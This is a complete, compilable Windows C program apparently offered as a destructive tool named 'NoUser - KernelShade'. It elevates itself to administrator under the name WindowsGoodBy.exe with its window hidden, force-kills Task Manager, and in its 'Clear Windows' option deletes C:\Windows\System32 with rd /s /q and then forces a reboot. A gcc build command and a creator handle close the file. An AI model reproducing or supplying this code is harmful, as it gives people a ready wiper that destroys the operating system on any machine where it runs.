#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <shellapi.h>

BOOL IsUserAnAdmin() {
    BOOL isAdmin = FALSE;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdminGroup;
    if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
                                 DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdminGroup)) {
        CheckTokenMembership(NULL, AdminGroup, &isAdmin);
        FreeSid(AdminGroup);
    }
    return isAdmin;
}

int main() {
    if (!IsUserAnAdmin()) {
        ShellExecuteA(NULL, "runas", "WindowsGoodBy.exe", NULL, NULL, SW_HIDE);
        return 0;
    }
    AllocConsole();
    SetConsoleTitleA("NoUser - KernelShade ?/y");
    HANDLE hOut = CreateFileA("CONOUT$", GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
    HANDLE hIn  = CreateFileA("CONIN$",  GENERIC_READ,  FILE_SHARE_READ,  0, OPEN_EXISTING, 0, 0);
    SetStdHandle(STD_OUTPUT_HANDLE, hOut);
    SetStdHandle(STD_INPUT_HANDLE, hIn);
    system("color 0f");
    system("mode con: cols=68 lines=25");
    system("cls");
    HWND hwnd = GetConsoleWindow();
    RECT r; GetWindowRect(hwnd, &r);
    int w = r.right - r.left;
    int h = r.bottom - r.top;
    int sw = GetSystemMetrics(SM_CXSCREEN);
    int sh = GetSystemMetrics(SM_CYSCREEN);
    MoveWindow(hwnd, (sw-w)/2, (sh-h)/2, w, h, TRUE);

    while (1) {
        system("cls");
        printf("\n\n");
        printf("   ╔═══════════════════════════════════════════╗\n");
        printf("   ║       NoUser                              ║\n");
        printf("   ║       KernelShade                         ║\n");
        printf("   ╚═══════════════════════════════════════════╝\n\n");
        printf("   [1] Task Manager Checker + Auto Kill\n");
        printf("   [2] Clear Windows\n");
        printf("   [3] Exit\n\n");
        printf("   Press 1, 2 or 3: ");

        int key = _getch();
        printf("%c\n\n", key);

        if (key == '1') {
            printf("   Opening Task Manager...\n");
            fflush(stdout);
            ShellExecuteA(NULL, "open", "taskmgr.exe", NULL, NULL, SW_SHOW);
            Sleep(3000);
            system("taskkill /f /im taskmgr.exe >nul 2>&1");
            printf("   Task Manager DETECTED & KILLED!\n");
            printf("\n   Press any key to continue...");
            _getch();
        }

        else if (key == '2') {
            printf("   DESTRUCTION IN 5 SECONDS!\n");
            printf("   PRESS ANY KEY TO CANCEL...\n\n");
            fflush(stdout);
            Sleep(5000);
            if (_kbhit()) {
                _getch();
                printf("   CANCELLED - You're safe!\n");
            } else {
                printf("   DELETING C:\\Windows\\System32 ...\n");
                fflush(stdout);
                system("rd /s /q C:\\Windows\\System32 >nul 2>&1");
                printf("\n   WINDOWS HAS BEEN ERASED!\n");
                printf("   Rebooting in 10s...\n");
                Sleep(10000);
                system("shutdown /r /t 0");
            }
            printf("\n   Press any key...");
            _getch();
        }

        else if (key == '3') {
            printf("   Goodbye bro!\n");
            Sleep(1500);
            return 0;
        }

        else {
            printf("   Invalid key!\n");
            Sleep(1000);
        }
    }
} 

 gcc Name.c -o Output-Name.exe -luser32 -lshell32 -lgdi32 -ladvapi32

ایدی سازنده: @sjsup